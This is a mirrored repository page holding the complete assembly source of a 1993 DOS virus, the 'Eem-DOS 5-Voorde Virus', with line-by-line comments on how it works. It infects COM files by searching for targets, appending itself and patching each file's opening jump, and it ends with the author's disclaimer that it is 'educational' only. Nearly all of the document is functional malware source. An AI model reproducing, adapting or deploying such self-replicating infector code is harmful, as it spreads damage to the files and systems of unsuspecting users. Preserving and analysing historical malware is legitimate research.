mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
117 lines
4.3 KiB
NASM
117 lines
4.3 KiB
NASM
; The Eem-DOS 5-Voorde Virus version 2.0
|
||
;
|
||
; Smallest (101 bytes) COM file infector which works with te folowing
|
||
; principe:
|
||
;
|
||
; Before:
|
||
; _____________________ ____________
|
||
; [first 3 bytes of file][rest of file]
|
||
;
|
||
; After:
|
||
; ____________ ____________ _____ _____________________
|
||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||
;
|
||
; This way the virus can restore the first 3 bytes of the file so
|
||
; the file will still work.
|
||
;
|
||
; If you want no registers to change you can add some pushes, but
|
||
; it'll make the virus much larger.....
|
||
;
|
||
; (C)1993 by [DàRkRàY] / TridenT
|
||
;
|
||
; BTW This is only a educational source, and this virus should not be
|
||
; spread, you may publish this file in it's original form.
|
||
; If you intend to spread this virus you will take all the responsibilities
|
||
; on youself so the author will not get into trubble.
|
||
; If you do not agree with this, destroy this file now.
|
||
;
|
||
_CODE SEGMENT
|
||
ASSUME CS:_CODE
|
||
|
||
ORG 100h
|
||
|
||
LEN EQU THE_END - VX ; This bab's length
|
||
|
||
START:
|
||
DB 0E9h,0,0 ; Jump te virus. (carrier
|
||
; program)
|
||
VX:
|
||
PUSH SI ; Put 100h in DI and save
|
||
PUSH SI ; it as return point.
|
||
POP DI ;
|
||
|
||
CALL RELATIVE ;
|
||
RELATIVE: ; Calculate where the old 3
|
||
POP SI ; bytes are stored.
|
||
ADD SI,(OLD_BYTES - RELATIVE) ;
|
||
|
||
PUSH SI ; Save it for later.
|
||
|
||
MOV CL,3 ; Restore the first 3 bytes.
|
||
REP MOVSB ;
|
||
|
||
MOV DX,SI ; Set DX to file spec.
|
||
|
||
POP SI ; Restore SI
|
||
|
||
DEC AX ;
|
||
AGAIN: ADD AH,4Fh ; Search for (next) file
|
||
INT 21h ; and exit if non found.
|
||
JC EXIT ;
|
||
|
||
MOV DI,SI ; Put SI in DI
|
||
|
||
MOV AH,3Eh ; Close open file. (also
|
||
CALL OPEN ; nice anti-debug trick!)
|
||
|
||
MOV AH,3Fh ; Read first 3 bytes.
|
||
CALL IO ;
|
||
|
||
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
|
||
JE AGAIN ; is a JMP FAR. (marker)
|
||
|
||
MOV AX,4202h ;
|
||
XOR CX,CX ; Goto EOF.
|
||
CWD ;
|
||
INT 21h ;
|
||
|
||
SUB AX,3 ;
|
||
ADD DI,8 ; Set JMP to virus.
|
||
MOV WORD PTR DS:[DI],AX ;
|
||
|
||
MOV AH,40h ;
|
||
MOV CL,LEN ; Write virus and open
|
||
MOV DX,DI ; file again.
|
||
SUB DX,(OLD_BYTES - VX) + 8 ;
|
||
CALL OPEN ;
|
||
|
||
DEC DI ; Write JMP
|
||
MOV AH,40h ;
|
||
IO:
|
||
MOV CL,3 ;
|
||
MOV DX,DI ; Read or write 3 bytes.
|
||
INT 21h ;
|
||
EXIT:
|
||
RET ; Start carrier program.
|
||
|
||
OPEN:
|
||
INT 21h ;
|
||
MOV AX,3D02h ;
|
||
MOV DX,9Eh ; Open file.
|
||
INT 21h ;
|
||
XCHG BX,AX ;
|
||
RET
|
||
|
||
OLD_BYTES: NOP ;
|
||
NOP ; First 3 bytes of carrier
|
||
RET ; program.
|
||
|
||
FILE_NAME: DB '*.*',0h ; File to search for (all)
|
||
|
||
NEW_BYTES DB 0E9h ; JMP to virus buffer.
|
||
|
||
THE_END:
|
||
|
||
_CODE ENDS
|
||
END START
|
||
|